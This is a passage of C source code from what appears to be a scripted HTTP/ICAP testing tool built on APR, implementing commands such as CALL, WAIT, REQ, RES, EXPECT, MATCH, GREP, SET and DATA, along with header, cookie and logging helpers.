e[i].key, "=", e[i].val, NULL); } else { worker->socket->cookie = apr_pstrcat(worker->pbody, "Cookie: ", e[i].key, "=", e[i].val, NULL); } } } /** * Get value from a given param * @param worker IN thread data object * @param param IN resolved param or VAR param * @return final resolved value */ const char *worker_get_value_from_param(worker_t *worker, const char *param, apr_pool_t *ptmp) { const char *val = NULL; if (strncmp(param, "VAR(", 4) == 0) { char *var = apr_pstrdup(ptmp, param + 4); apr_size_t len = strlen(var); if (len > 0) { var[len-1] = 0; } val = store_get(worker->vars, var); if (!val) { val = store_get(worker->locals, var); } if (!val) { val = param; } } else { val = param; } return val; } /** * CALL command calls a defined block * * @param self IN command * @param worker IN thread data object * @param data IN name of calling block * * @return block status or APR_EINVAL */ apr_status_t command_CALL(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; char *copy; const char *block_name; char *last; worker_t *block, *call; apr_table_t *lines = NULL; int cmd; apr_pool_t *call_pool; char *module; apr_hash_t *blocks; store_t *params; store_t *retvars; store_t *locals; /** a pool for this call */ apr_pool_create_unmanaged_ex(&call_pool, NULL, NULL); /** temporary tables for param, local vars and return vars */ params = store_make(call_pool); retvars = store_make(call_pool); locals = store_make(call_pool); while (*data == ' ') ++data; copy = apr_pstrdup(call_pool, data); copy = worker_replace_vars(worker, copy, NULL, call_pool); worker_log(worker, LOG_CMD, "%s", copy); /** get args from copy */ my_get_args(copy, params, call_pool); block_name = store_get(params, "0"); module = apr_pstrdup(call_pool, block_name); /** get module worker */ if ((last = strchr(block_name, ':'))) { module = apr_strtok(module, ":", &last); if (*module == '_') { module++; block_name = apr_pstrcat(call_pool, "_", last, NULL); } else { block_name = apr_pstrdup(call_pool, last); } if (!(blocks = apr_hash_get(worker->modules, module, APR_HASH_KEY_STRING))) { worker_log(worker, LOG_ERR, "Could not find module \"%s\"", module); return APR_EINVAL; } } else { blocks = worker->blocks; } /** get block from module */ /* CR BEGIN */ apr_thread_mutex_lock(worker->mutex); if (!(block = apr_hash_get(blocks, block_name, APR_HASH_KEY_STRING))) { worker_log(worker, LOG_ERR, "Could not find block %s", block_name); /* CR END */ apr_thread_mutex_unlock(worker->mutex); status = APR_ENOENT; goto error; } else { int log_mode; int i; int j; char *index; const char *arg; const char *val; /** prepare call */ /* iterate over indexed params and resolve VAR(foo) stuff*/ for (i = 1; i < store_get_size(params); i++) { index = apr_itoa(ptmp, i); if ((val = store_get(params, index))) { val = worker_get_value_from_param(worker, val, ptmp); store_set(params, index, val); } } /* handle parameters first */ for (i = 1; i < store_get_size(block->params); i++) { index = apr_itoa(ptmp, i); if (!(arg = store_get(block->params, index))) { worker_log(worker, LOG_ERR, "Param missmatch for block \"%s\"", block->name); apr_thread_mutex_unlock(worker->mutex); status = APR_EGENERAL; goto error; } if (!(val = store_get(params, index))) { worker_log(worker, LOG_ERR, "Param missmatch for block \"%s\"", block->name); apr_thread_mutex_unlock(worker->mutex); status = APR_EGENERAL; goto error; } if (arg && val) { val = worker_get_value_from_param(worker, val, ptmp); store_set(params, arg, val); } } /* handle return variables second */ j = i; for (i = 0; i < store_get_size(block->retvars); i++, j++) { index = apr_itoa(call_pool, j); if (!(arg = store_get(block->retvars, index))) { worker_log(worker, LOG_ERR, "Return variables missmatch for block \"%s\"", block->name); apr_thread_mutex_unlock(worker->mutex); status = APR_EGENERAL; goto error; } if (!(val = store_get(params, index))) { worker_log(worker, LOG_ERR, "Return variables missmatch for block \"%s\"", block->name); apr_thread_mutex_unlock(worker->mutex); status = APR_EGENERAL; goto error; } if (arg && val) { store_set(retvars, arg, val); } } if (block->lines) { lines = my_table_deep_copy(call_pool, block->lines); } else { lines = worker->lines; } apr_thread_mutex_unlock(worker->mutex); /* CR END */ call = apr_pcalloc(call_pool, sizeof(*call)); memcpy(call, worker, sizeof(*call)); call->block = block; call->params = params; call->retvars = retvars; call->locals = locals; call->lines = lines; log_mode = logger_get_mode(call->logger); if (log_mode == LOG_CMD) { logger_set_mode(call->logger, LOG_INFO); } status = block->interpret(call, worker, call_pool); /** get infos from call back to worker */ logger_set_mode(call->logger, log_mode); cmd = worker->cmd; lines = worker->lines; params = worker->params; retvars = worker->retvars; locals = worker->locals; memcpy(worker, call, sizeof(*worker)); store_merge(worker->vars, call->retvars); worker->params = params; worker->retvars = retvars; worker->locals = locals; worker->lines = lines; worker->cmd = cmd; worker->block = NULL; goto error; } error: /** all ends here */ apr_pool_destroy(call_pool); return status; } /** * log formated wrapper * @param worker IN thread data object * @param mode IN log mode * LOG_DEBUG for a lot of infos * LOG_INFO for much infos * LOG_ERR for only very few infos * @param fmt IN printf format string * @param ... IN params for format strings */ void worker_log(worker_t * worker, int mode, char *fmt, ...) { va_list va; va_start(va, fmt); logger_log_va(worker->logger, mode, worker_get_file_and_line(worker), fmt, va); va_end(va); } /** * log buffer wrapper * @param logger IN thread data object * @param mode IN log mode * LOG_DEBUG for a lot of infos * LOG_INFO for much infos * LOG_ERR for only very few infos * @param dir IN <,>,+,= * @param buf IN buf to print (binary data allowed) * @param len IN buf len */ void worker_log_buf(worker_t * worker, int mode, char dir, const char *buf, apr_size_t len) { logger_log_buf(worker->logger, mode, dir, buf, len); } /** * Read headers from transport * @param worker IN thread data object * @param sockreader IN reader * @return apr status */ static apr_status_t worker_get_headers(worker_t *worker, sockreader_t *sockreader) { apr_status_t status; char *line; char *last; char *key = NULL; const char *val = ""; recorder_t *recorder = worker_get_recorder(worker); /** get headers */ while ((status = sockreader_read_line(sockreader, &line)) == APR_SUCCESS && line[0] != 0) { if ((status = htt_run_read_header(worker, line)) != APR_SUCCESS) { return status; } if (recorder->on == RECORDER_RECORD && recorder->flags & RECORDER_RECORD_HEADERS) { sockreader_push_line(recorder->sockreader, line); } worker_log_buf(worker, LOG_INFO, '<', line, strlen(line)); worker_match(worker, worker->match.dot, line, strlen(line)); worker_match(worker, worker->match.headers, line, strlen(line)); worker_match(worker, worker->grep.dot, line, strlen(line)); worker_match(worker, worker->grep.headers, line, strlen(line)); worker_expect(worker, worker->expect.dot, line, strlen(line)); worker_expect(worker, worker->expect.headers, line, strlen(line)); /* headers */ key = apr_strtok(line, ":", &last); val = last; while (*val == ' ') ++val; if (worker->headers_allow) { if (!apr_table_get(worker->headers_allow, key)) { worker_log(worker, LOG_ERR, "%s header not allowed", key); return APR_EGENERAL; } } if (worker->headers_filter) { if (!apr_table_get(worker->headers_filter, key)) { apr_table_add(worker->headers, key, val); } } else { apr_table_add(worker->headers, key, val); } } if (status == APR_SUCCESS && line[0] == 0) { worker_log_buf(worker, LOG_INFO, '<', NULL, 0); } return status; } /** * Wait for data (same as command_recv) * @param self IN command object * @param worker IN thread data object * @param data IN or variable name * @return an apr status */ apr_status_t command_WAIT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; char *line; char *buf; apr_status_t status; sockreader_t *sockreader; char *var = NULL; const char *val = ""; apr_size_t len; apr_ssize_t recv_len = -1; apr_size_t peeklen; recorder_t *recorder = worker_get_recorder(worker); buf = NULL; len = 0; COMMAND_OPTIONAL_ARG; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { goto out_err; } if (apr_isdigit(copy[0])) { recv_len = apr_atoi64(copy); } else { if (copy[0]) { var = copy; apr_collapse_spaces(var, var); } recv_len = -1; } if (recorder->on == RECORDER_PLAY) { worker->socket->sockreader = recorder->sockreader; } /** * Give modules a chance to setup stuff before _WAIT read from network */ if ((status = htt_run_WAIT_begin(worker)) != APR_SUCCESS) { goto out_err; } if (worker->socket->sockreader == NULL) { peeklen = worker->socket->peeklen; worker->socket->peeklen = 0; if ((status = sockreader_new(&worker->socket->sockreader, worker->socket->transport, worker->socket->peek, peeklen)) != APR_SUCCESS) { goto out_err; } } sockreader = worker->socket->sockreader; /* bodies were read but not store */ if (worker->flags & FLAGS_IGNORE_BODY) { sockreader_set_options(sockreader, SOCKREADER_OPTIONS_IGNORE_BODY); } else { sockreader_set_options(sockreader, SOCKREADER_OPTIONS_NONE); } if (worker->headers) { apr_table_clear(worker->headers); } else { worker->headers = apr_table_make(worker->pbody, 5); } if (worker->headers_add) { int i; apr_table_entry_t *e; e = (apr_table_entry_t *) apr_table_elts(worker->headers_add)->elts; for (i = 0; i < apr_table_elts(worker->headers_add)->nelts; ++i) { apr_table_add(worker->headers, e[i].key, e[i].val); } apr_table_clear(worker->headers_add); } /** * Give modules the possibility to expect/grep/match there own stuff */ if ((status = htt_run_read_pre_headers(worker)) != APR_SUCCESS) { goto out_err; } /** Status line, make that a little fuzzy in reading trailing empty lines of last * request */ while ((status = sockreader_read_line(sockreader, &line)) == APR_SUCCESS && line[0] == 0); if (line[0] != 0) { if ((status = htt_run_read_status_line(worker, line)) != APR_SUCCESS) { goto out_err; } if (recorder->on == RECORDER_RECORD && recorder->flags & RECORDER_RECORD_STATUS) { sockreader_push_line(recorder->sockreader, line); } worker_log_buf(worker, LOG_INFO, '<', line, strlen(line)); worker_match(worker, worker->match.dot, line, strlen(line)); worker_match(worker, worker->match.headers, line, strlen(line)); worker_match(worker, worker->grep.dot, line, strlen(line)); worker_match(worker, worker->grep.headers, line, strlen(line)); worker_expect(worker, worker->expect.dot, line, strlen(line)); worker_expect(worker, worker->expect.headers, line, strlen(line)); if (!strstr(line, "HTTP/") && !strstr(line, "ICAP/")) { worker_log(worker, LOG_DEBUG, "Not HTTP or ICAP version in \"%s\", must be HTTP/0.9", line); apr_table_add(worker->headers, "Connection", "close"); status = sockreader_push_line(sockreader, line); goto http_0_9; } } else { if (line[0] == 0) { worker_log_buf(worker, LOG_INFO, '<', line, strlen(line)); worker_log(worker, LOG_ERR, "No status line received"); status = APR_EINVAL; goto out_err; } else { worker_log_buf(worker, LOG_INFO, '<', line, strlen(line)); worker_log(worker, LOG_ERR, "Network error"); goto out_err; } } status = worker_get_headers(worker, sockreader); http_0_9: if (status == APR_SUCCESS) { int doreadtrailing = 0; /* if recv len is specified use this */ if (recv_len > 0) { len = recv_len; if ((status = worker_check_error(worker, content_length_reader(sockreader, &buf, &len, val))) != APR_SUCCESS) { goto out_err; } } else if (recv_len == 0) { buf = NULL; } /* else get transfer type */ else if ((val = apr_table_get(worker->headers, "Content-Length"))) { len = apr_atoi64(val); if ((status = worker_check_error(worker, content_length_reader(sockreader, &buf, &len, val))) != APR_SUCCESS) { goto out_err; } } else if ((val = apr_table_get(worker->headers, "Transfer-Encoding"))) { if ((status = transfer_enc_reader(sockreader, &buf, &len, val)) == APR_SUCCESS) { if (strcmp(val, "chunked") == 0) { doreadtrailing = 1; } } else if ((status = worker_check_error(worker, status)) != APR_SUCCESS) { goto out_err; } } else if ((val = apr_table_get(worker->headers, "Encapsulated"))) { if ((status = worker_check_error(worker, encapsulated_reader(sockreader, &buf, &len, val, apr_table_get(worker->headers, "Preview")))) != APR_SUCCESS) { goto out_err; } } else if (worker->flags & FLAGS_CLIENT && (val = apr_table_get(worker->headers, "Connection"))) { if ((status = worker_check_error(worker, eof_reader(sockreader, &buf, &len, val))) != APR_SUCCESS) { goto out_err; } } if ((status = htt_run_read_buf(worker, buf, len)) != APR_SUCCESS) { goto out_err; } if ((status = worker_handle_buf(worker, ptmp, buf, len)) != APR_SUCCESS) { goto out_err; } if (recorder->on == RECORDER_RECORD && recorder->flags & RECORDER_RECORD_BODY) { sockreader_push_line(recorder->sockreader, ""); sockreader_push_back(recorder->sockreader, buf, len); } if (var) { worker_var_set(worker, var, buf); } if (doreadtrailing) { /* read trailing headers */ if ((status = worker_get_headers(worker, sockreader)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Missing trailing empty header(s) after chunked encoded body"); } } if (worker->flags & FLAGS_AUTO_CLOSE) { val = apr_table_get(worker->headers, "Connection"); if (val && strcasecmp(val, "close") == 0) { command_CLOSE(self, worker, "do not test expects", ptmp); } } if (worker->flags & FLAGS_AUTO_COOKIE) { /* get all set cookie and store them in cookie line */ worker_set_cookie(worker); } } out_err: if (recorder->on == RECORDER_PLAY) { sockreader_destroy(&recorder->sockreader); recorder->on = RECORDER_OFF; worker->socket->sockreader = NULL; } else { ++worker->req_cnt; } status = worker_assert(worker, status); /** * Give modules a chance to cleanup stuff after _WAIT */ htt_run_WAIT_end(worker, status); return status; } /** * Bind to socket and wait for data (same as command_RES and command_WAIT). * Ignores TCP connections not sending any data (open/close). * * @param self IN command object * @param worker IN thread data object * @param data IN not used * * @return an apr status */ apr_status_t command_RESWAIT(command_t * self, worker_t * worker, char * data, apr_pool_t *ptmp) { apr_status_t status; do { status = command_RES(self, worker, "", ptmp); if(status != APR_SUCCESS) { return status; } status = command_WAIT(self, worker, "", ptmp); if(status == APR_EOF) { /* EOF = client failed to send data */ command_CLOSE(self, worker, "do not test expects", ptmp); } } while(status == APR_EOF); return status; } /**** * Scriptable commands ****/ /** * Get socket from hash or add a new one * * @param self IN thread data object * @param hostname IN host name * @param portname IN port as ascii string * */ void worker_get_socket(worker_t *self, const char *hostname, const char *portname) { socket_t *socket; char *tag; apr_pool_t *pool; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); socket = apr_hash_get(self->sockets, apr_pstrcat(self->pbody, hostname, portname, NULL), APR_HASH_KEY_STRING); if (!socket) { socket = apr_pcalloc(self->pbody, sizeof(*socket)); socket->config = apr_hash_make(self->pbody); socket->socket_state = SOCKET_CLOSED; tag = apr_pstrdup(self->pbody, portname); apr_hash_set(self->sockets, apr_pstrcat(self->pbody, hostname, tag, NULL), APR_HASH_KEY_STRING, socket); } self->socket = socket; apr_pool_destroy(pool); } /** * Setup a connection to host * * @param self IN command object * @param worker IN thread data object * @param data IN aditional data * * @return an apr status */ apr_status_t command_REQ(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; char *portname; char *hostname; char *last; char *copy; COMMAND_NEED_ARG("Need hostname and port"); if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } if ((status = worker_test_unused(worker)) != APR_SUCCESS) { return status; } hostname = apr_strtok(copy, " ", &last); portname = apr_strtok(NULL, " ", &last); /* use hostname and portname for unique id of sockets, portname may also have * additional tags and infos which are possible resolved in the following * hook */ worker_log(worker, LOG_DEBUG, "get socket \"%s:%s\"", hostname, portname); worker_get_socket(worker, hostname, portname); if ((status = htt_run_client_port_args(worker, portname, &portname, last)) != APR_SUCCESS) { return status; } if (worker->socket->socket_state == SOCKET_CLOSED) { if ((status = htt_run_pre_connect(worker)) != APR_SUCCESS) { return status; } if ((status = tcp_connect(worker, hostname, portname)) != APR_SUCCESS) { return status; } if ((status = htt_run_connect(worker)) != APR_SUCCESS) { return status; } if ((status = htt_run_post_connect(worker)) != APR_SUCCESS) { return status; } worker->socket->socket_state = SOCKET_CONNECTED; } worker_test_reset(worker); return APR_SUCCESS; } /** * Setup a connection to host * * @param self IN command object * @param worker IN thread data object * @param data IN unused * * @return an apr status */ apr_status_t command_RES(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; char *copy; int ignore_monitors = 0; char *cur; char *last; char *reasemble = NULL; COMMAND_OPTIONAL_ARG; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } if ((status = worker_test_unused(worker)) != APR_SUCCESS) { return status; } worker_get_socket(worker, "Default", "0"); cur = apr_strtok(copy, " ", &last); while (cur) { if (strcmp("IGNORE_MONITORS", cur) == 0) { ignore_monitors = 1; } else { reasemble = apr_pstrcat(ptmp, (reasemble ? reasemble : ""), (reasemble ? " " : ""), cur, NULL); } cur = apr_strtok(NULL, " ", &last); } if (!reasemble) { reasemble = apr_pstrdup(ptmp, ""); } while (worker->socket->socket_state == SOCKET_CLOSED) { int interim; if ((status = tcp_accept(worker)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Accept TCP connection aborted"); return status; } interim = htt_run_accept(worker, reasemble); if (ignore_monitors) { if (interim == APR_SUCCESS) { worker->socket->peeklen = 1; status = transport_read(worker->socket->transport, worker->socket->peek, &worker->socket->peeklen); if (status != APR_SUCCESS && status != APR_EOF) { worker_log(worker, LOG_ERR, "Peek abort"); return status; } else if (status == APR_SUCCESS) { worker->socket->socket_state = SOCKET_CONNECTED; } } else { worker_conn_close(worker, NULL); } } else if (interim == APR_SUCCESS) { worker->socket->socket_state = SOCKET_CONNECTED; } else { return interim; } } worker_test_reset(worker); return APR_SUCCESS; } /** * Close socket * * @param self IN command object * @param worker IN thread data object * @param data IN unused * * @return an apr status */ apr_status_t command_CLOSE(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; char *copy; COMMAND_OPTIONAL_ARG; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { worker_conn_close(worker, NULL); return status; } if (strcmp(copy, "do not test expects") != 0) { if ((status = worker_test_unused(worker)) != APR_SUCCESS) { worker_conn_close(worker, NULL); return status; } } else { /* do not test expects and remove this string */ copy = NULL; } if ((status = worker_conn_close(worker, copy)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * Specify a timeout for socket operations (ms) * * @param self IN command object * @param worker IN thread data object * @param data IN time in ms * * @return an apr status */ apr_status_t command_TIMEOUT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_time_t tmo; char *copy; COMMAND_NEED_ARG("Time not specified"); tmo = apr_atoi64(copy); worker->socktmo = tmo * 1000; return APR_SUCCESS; } /** * Define an expect * * @param self IN command object * @param worker IN thread data object * @param data IN "%s %s" type match * * @return an apr status */ apr_status_t command_EXPECT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *last; char *type; char *match; htt_regex_t *compiled; const char *err; int off; char *copy; char *interm; apr_pool_t *pool; COMMAND_NEED_ARG("Type and htt_regex not specified"); type = apr_strtok(copy, " ", &last); interm = my_unescape(last, &last); if (last) { while (*last == ' ') ++last; if (*last != 0) { worker_log(worker, LOG_ERR, "there is more stuff behind last quote"); return APR_EGENERAL; } } if (!type) { worker_log(worker, LOG_ERR, "Type not specified"); return APR_EGENERAL; } pool = module_get_config(worker->config, apr_pstrcat(ptmp, "EXPECT ", type, NULL)); if (!pool) { /* create a pool for match */ apr_pool_create_unmanaged_ex(&pool, NULL, NULL); module_set_config(worker->config, apr_pstrcat(pool, "EXPECT ", type, NULL), pool); } match = apr_pstrdup(pool, interm); if (!match) { worker_log(worker, LOG_ERR, "Regex not specified"); return APR_EGENERAL; } if (interm[0] == '!') { ++interm; } if (!(compiled = htt_regexcomp(pool, interm, &err, &off))) { worker_log(worker, LOG_ERR, "EXPECT regcomp failed: \"%s\"", last); return APR_EINVAL; } if (strcmp(type, ".") == 0) { apr_table_addn(worker->expect.dot, match, (char *) compiled); } else if (strcasecmp(type, "Headers") == 0) { apr_table_addn(worker->expect.headers, match, (char *) compiled); } else if (strcasecmp(type, "Body") == 0) { apr_table_addn(worker->expect.body, match, (char *) compiled); } else if (strcasecmp(type, "Exec") == 0) { apr_table_addn(worker->expect.exec, match, (char *) compiled); } else if (strcasecmp(type, "Error") == 0) { apr_table_addn(worker->expect.error, match, (char *) compiled); } else if (strncasecmp(type, "Var(", 4) == 0) { const char *val; char *var; var= apr_strtok(type, "(", &last); var = apr_strtok(NULL, ")", &last); val = worker_var_get(worker, var); if (val) { apr_table_t *tmp_table; tmp_table = apr_table_make(ptmp, 1); apr_table_addn(tmp_table, match, (char *) compiled); worker_expect(worker, tmp_table, val, strlen(val)); return worker_assert_expect(worker, tmp_table, "EXPECT var", APR_SUCCESS); } else { worker_log(worker, LOG_ERR, "Variable \"%s\" does not exist", var); return APR_EINVAL; } } else { worker_log(worker, LOG_ERR, "EXPECT type \"%s\" unknown", type); return APR_EINVAL; } return APR_SUCCESS; } /** * Define an expect * * @param self IN command object * @param worker IN thread data object * @param data IN "%s %s %s" type match variable * * @return an apr status */ apr_status_t command_MATCH(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *tmp; char *last; char *type; char *match; char *vars; htt_regex_t *compiled; const char *err; int off; char *copy; apr_pool_t *pool; COMMAND_NEED_ARG("Type, htt_regex and variable not specified"); type = apr_strtok(copy, " ", &last); match = my_unescape(last, &last); tmp = apr_strtok(NULL, "", &last); if (!type) { worker_log(worker, LOG_ERR, "Type not specified"); return APR_EGENERAL; } pool = module_get_config(worker->config, apr_pstrcat(ptmp, "MATCH ", type, NULL)); if (!pool) { /* create a pool for match */ apr_pool_create_unmanaged_ex(&pool, NULL, NULL); module_set_config(worker->config, apr_pstrcat(pool, "MATCH ", type, NULL), pool); } vars = apr_pstrdup(pool, tmp); if (!match) { worker_log(worker, LOG_ERR, "Regex not specified"); return APR_EGENERAL; } if (!vars) { worker_log(worker, LOG_ERR, "Variable not specified"); return APR_EGENERAL; } if (vars) { ++vars; } if (!vars) { return APR_EINVAL; } if (!(compiled = htt_regexcomp(pool, match, &err, &off))) { worker_log(worker, LOG_ERR, "MATCH regcomp failed: %s", last); return APR_EINVAL; } if (strcmp(type, ".") == 0) { apr_table_addn(worker->match.dot, vars, (char *) compiled); } else if (strcasecmp(type, "Headers") == 0) { apr_table_addn(worker->match.headers, vars, (char *) compiled); } else if (strcasecmp(type, "Body") == 0) { apr_table_addn(worker->match.body, vars, (char *) compiled); } else if (strcasecmp(type, "Error") == 0) { apr_table_addn(worker->match.error, vars, (char *) compiled); } else if (strcasecmp(type, "Exec") == 0) { apr_table_addn(worker->match.exec, vars, (char *) compiled); } else if (strncasecmp(type, "Var(", 4) == 0) { const char *val; char *var; var= apr_strtok(type, "(", &last); var = apr_strtok(NULL, ")", &last); val = worker_var_get(worker, var); if (val) { apr_table_t *tmp_table; tmp_table = apr_table_make(ptmp, 1); apr_table_addn(tmp_table, vars, (char *) compiled); worker_match(worker, tmp_table, val, strlen(val)); return worker_assert_match(worker, tmp_table, "MATCH var", APR_SUCCESS); } else { /* this should cause an error? */ } } else { worker_log(worker, LOG_ERR, "Match type %s does not exist", type); return APR_ENOENT; } return APR_SUCCESS; } /** * Define an grep * * @param self IN command object * @param worker IN thread data object * @param data IN "%s %s %s" type grep variable * * @return an apr status */ apr_status_t command_GREP(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *tmp; char *last; char *type; char *grep; char *vars; htt_regex_t *compiled; const char *err; int off; char *copy; apr_pool_t *pool; COMMAND_NEED_ARG("Type, htt_regex and variable not specified"); type = apr_strtok(copy, " ", &last); grep = my_unescape(last, &last); tmp = apr_strtok(NULL, "", &last); if (!type) { worker_log(worker, LOG_ERR, "Type not specified"); return APR_EGENERAL; } pool = module_get_config(worker->config, apr_pstrcat(ptmp, "GREP ", type, NULL)); if (!pool) { /* create a pool for match */ apr_pool_create_unmanaged_ex(&pool, NULL, NULL); module_set_config(worker->config, apr_pstrcat(pool, "GREP ", type, NULL), pool); } vars = apr_pstrdup(pool, tmp); if (!grep) { worker_log(worker, LOG_ERR, "Regex not specified"); return APR_EGENERAL; } if (!vars) { worker_log(worker, LOG_ERR, "Variable not specified"); return APR_EGENERAL; } if (vars) { ++vars; } if (!vars) { return APR_EINVAL; } if (!(compiled = htt_regexcomp(pool, grep, &err, &off))) { worker_log(worker, LOG_ERR, "MATCH regcomp failed: %s", last); return APR_EINVAL; } if (strcmp(type, ".") == 0) { apr_table_addn(worker->grep.dot, vars, (char *) compiled); } else if (strcasecmp(type, "Headers") == 0) { apr_table_addn(worker->grep.headers, vars, (char *) compiled); } else if (strcasecmp(type, "Body") == 0) { apr_table_addn(worker->grep.body, vars, (char *) compiled); } else if (strcasecmp(type, "Error") == 0) { apr_table_addn(worker->grep.error, vars, (char *) compiled); } else if (strcasecmp(type, "Exec") == 0) { apr_table_addn(worker->grep.exec, vars, (char *) compiled); } else if (strncasecmp(type, "Var(", 4) == 0) { const char *val; char *var; var= apr_strtok(type, "(", &last); var = apr_strtok(NULL, ")", &last); val = worker_var_get(worker, var); if (val) { apr_table_t *tmp_table; tmp_table = apr_table_make(ptmp, 1); apr_table_addn(tmp_table, vars, (char *) compiled); worker_match(worker, tmp_table, val, strlen(val)); } else { /* this should cause an error? */ } } else { worker_log(worker, LOG_ERR, "Grep type %s does not exist", type); return APR_ENOENT; } return APR_SUCCESS; } /** * assert command * * @param self IN command object * @param worker IN thread data object * @param data IN expression * * @return an apr status */ apr_status_t command_ASSERT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; char *copy; char **argv; apr_size_t len; long val; math_eval_t *math = math_eval_make(ptmp); COMMAND_NEED_ARG("expression"); my_tokenize_to_argv(copy, &argv, ptmp, 0); if (!argv[0]) { worker_log(worker, LOG_ERR, "Need an expression"); return APR_EINVAL; } len = strlen(argv[0]); if (len < 1) { worker_log(worker, LOG_ERR, "Empty expression"); return APR_EINVAL; } if ((status = math_evaluate(math, argv[0], &val)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Invalid expression"); return status; } if (!val) { worker_log(worker, LOG_ERR, "Did expect \"%s\"", argv[0]); return APR_EINVAL; } return APR_SUCCESS; } /** * Single line variable * @param copy IN copy of variable=value * @param value OUT value * @return variable */ static const char *single_line_variable(worker_t *worker, char *copy, char **value) { return apr_strtok(copy, "=", value); } /** * Single line variable * @param copy IN copy variable=value * @param value OUT value * @param ptmp IN temp pool * @return variable */ static const char *multi_line_variable(worker_t *worker, char *copy, char **value, apr_pool_t *ptmp) { char *delimiter; char *var; char *val; apr_table_entry_t *e ; int to; int delim_found = 0; int store_cmd = worker->cmd; var = apr_strtok(copy, "<", &delimiter); apr_collapse_spaces(delimiter, delimiter); /* read line until delimiter, delimiter can be indented! */ e = (apr_table_entry_t *) apr_table_elts(worker->lines)->elts; to = worker->cmd_to ? worker->cmd_to : apr_table_elts(worker->lines)->nelts; val = NULL; for (worker->cmd = worker->cmd_from + 1; worker->cmd < to; worker->cmd++) { int i; char *line = e[worker->cmd].val; for (i = 0; line[i] == ' '; i++); if (strcmp(delimiter, &line[i]) == 0) { delim_found = 1; break; } else { val = val ? apr_pstrcat(ptmp, val, "\n", line, NULL) : apr_pstrdup(ptmp, line); } } if (!delim_found) { int old_cmd = worker->cmd; worker->cmd = store_cmd; worker_log(worker, LOG_ERR, "No ending delimiter \"%s\" found for multiline variable", delimiter); return NULL; worker->cmd = old_cmd; } if (val == NULL) { val = apr_pstrdup(ptmp, ""); } *value = val; return var; } /** * set command * * @param self IN command object * @param worker IN thread data object * @param data IN key=value * * @return an apr status */ apr_status_t command_SET(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { const char *vars_key; char *vars_val; char *copy; int i; COMMAND_NEED_ARG("Variable and value not specified"); for (i = 0; copy[i] != 0 && strchr(VAR_ALLOWED_CHARS, copy[i]); i++); if (copy[i] == '=') { /* single line */ vars_key = single_line_variable(worker, copy, &vars_val); } else if (copy[i] == '<') { /* multi line */ vars_key = multi_line_variable(worker, copy, &vars_val, ptmp); } else { vars_key = apr_strtok(copy, "=<", &vars_val); worker_log(worker, LOG_ERR, "Char '%c' is not allowed in variable \"%s\"", copy[i], vars_key); } if (!vars_key) { worker_log(worker, LOG_ERR, "Key not specified"); return APR_EGENERAL; } if (!vars_val) { worker_log(worker, LOG_ERR, "Value not specified"); return APR_EGENERAL; } worker_var_set(worker, vars_key, vars_val); return APR_SUCCESS; } /** * unset command * * @param self IN command object * @param worker IN thread data object * @param data IN key * * @return an apr status */ apr_status_t command_UNSET(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { const char *var; char *copy; int i; COMMAND_NEED_ARG("Variable and value not specified"); var = copy; for (i = 0; var[i] != 0 && strchr(VAR_ALLOWED_CHARS, var[i]); i++); if (var[i] != 0) { worker_log(worker, LOG_ERR, "Char '%c' is not allowed in \"%s\"", var[i], var); return APR_EINVAL; } if (store_get(worker->locals, var)) { store_unset(worker->locals, var); } else { store_unset(worker->vars, var); } return APR_SUCCESS; } /** * Send data * * @param self IN command object * @param worker IN thread data object * @param data IN data to send * * @return an apr status */ apr_status_t command_DATA(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { char *copy; int unresolved; if (!worker->socket) { return APR_ENOSOCKET; } copy = apr_pstrdup(ptmp, data); copy = worker_replace_vars(worker, copy, &unresolved, ptmp); worker_log(worker, LOG_CMD, "%s%s", self->name, copy); if (strncasecmp(copy, "Content-Length: AUTO", 20) == 0) { apr_table_add(worker->cache, "Content-Length", "Content-Length"); } else if (strncasecmp(copy, "Encapsulated: ", 14) == 0 && strstr(copy, "AUTO")) { apr_table_add(worker->cache, "Encapsulated", copy); } else if (strncasecmp(copy, "Cookie: AUTO", 12) == 0) { apr_table_add(worker->cache, "Cookie", "Cookie"); } else if (strncasecmp(copy, "Expect: 100-Continue", 20) == 0) { apr_table_add(worker->cache, "100-Continue", copy); } else { if (unresolved) { apr_table_add(worker->cache, "PLAIN;resolve", copy); } else { apr_table_add(worker->cache, "PLAIN", copy); } } return APR_SUCCESS; } /** * Flush data * * @param self IN command object * @param worker IN thread data object * @param data IN unused * * @return an apr status */ apr_status_t command_FLUSH(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; COMMAND_NO_ARG; if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * Chunk info * * @param self IN command object * @param worker IN thread data object * @param data IN unused * * @return an apr status */ apr_status_t command_CHUNK(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp) { apr_status_t status; COMMAND_NO_ARG; apr_table_add(worker->cache, "CHUNKED", "CHUNKED"); if ((status = worker_flush(worker, ptmp)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * read from file descriptor and write it to the HTTP stream * * @param worker IN thread data object * @param file IN open file descriptor for reading * @param flags IN FLAGS_CHUNKED or FLAGS_NONE * * @return APR_SUCCESS or an apr error status */ apr_status_t worker_file_to_http(worker_t *worker, apr_file_t 